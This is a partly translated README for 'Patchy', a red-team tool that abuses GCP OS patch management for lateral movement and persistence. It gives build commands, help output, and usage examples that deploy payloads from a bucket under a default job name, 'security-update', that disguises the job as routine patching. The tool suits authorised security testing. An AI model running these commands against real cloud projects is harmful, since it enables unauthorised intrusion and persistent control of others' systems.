
Persistência automatizada e movimento lateral usando GCP Patch Management
Movimento lateral automatizado e persistência abusando do gerenciamento de patches do SO GCP, baseado no meu post do blog.
O Patchy é composto por dois modos principais: movimento lateral e persistência. A persistência usa credenciais válidas de conta de serviço para criar um job ou implantação de patch. O movimento lateral tenta obter acesso a todas as instâncias de computação dentro de um projeto. Para ser utilizado, deve estar em um ambiente GCP com a API de metadados disponível. O movimento lateral possui um modo que permite verificar se a exploração é possível sem tentar algo agressivo (bom para verificar se seu ambiente é seguro).
Para sugestões de funcionalidades, abra uma issue. Se houver algum problema, crie um PR com sua correção.
mkdir build;GOOS=windows GOARCH=amd64 go build -o build/patchy.exe ./cmd/patchy/*.go
mkdir build;GOOS=linux GOARCH=amd64 go build -o build/patchy ./cmd/patchy/*.go
Por favor, note que isso requer >= go 1.19
$ ./patchy -h
d8888b. .d8b. d888888b .o88b. db db db db
88 `8D d8' `8b `~~88~~' d8P Y8 88 88 `8b d8'
88oodD' 88ooo88 88 8P 88ooo88 `8bd8'
88~~~ 88~~~88 88 8b 88~~~88 88
88 88 88 88 Y8b d8 88 88 88
88 YP YP YP `Y88P' YP YP YP
https://github.com/rek7/patchy
Patchy is a GCP exploitation tool designed for red teaming engagements.
Based on https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching
Usage:
patchy [flags]
patchy [command]
Available Commands:
completion Generate the autocompletion script for the specified shell
help Help about any command
lateral Performs automatic lateral movement within a GCP environment
persist enables persistence on compute instances owned by service account
Flags:
-b, --bucket string bucket name hosting payload
-h, --help help for patchy
-l, --lpayload string name of linux shell payload (default "payload.bash")
-p, --persist enable persistence (patch deployment) (default false)
-n, --pname string name of patch deployment/job (default "security-update")
-w, --wpayload string name of windows powershell payload (default "payload.ps1")
Use "patchy [command] --help" for more information about a command.
Explorando contas de serviço dentro do ambiente GCP local, myBucket é o nome do bucket público que hospeda os payloads:
$ ./patchy -b myBucket lat -e
Instalando persistência usando conta de serviço no formato JSON:
$ ./patchy -b myBucket persist -c serviceAccount.json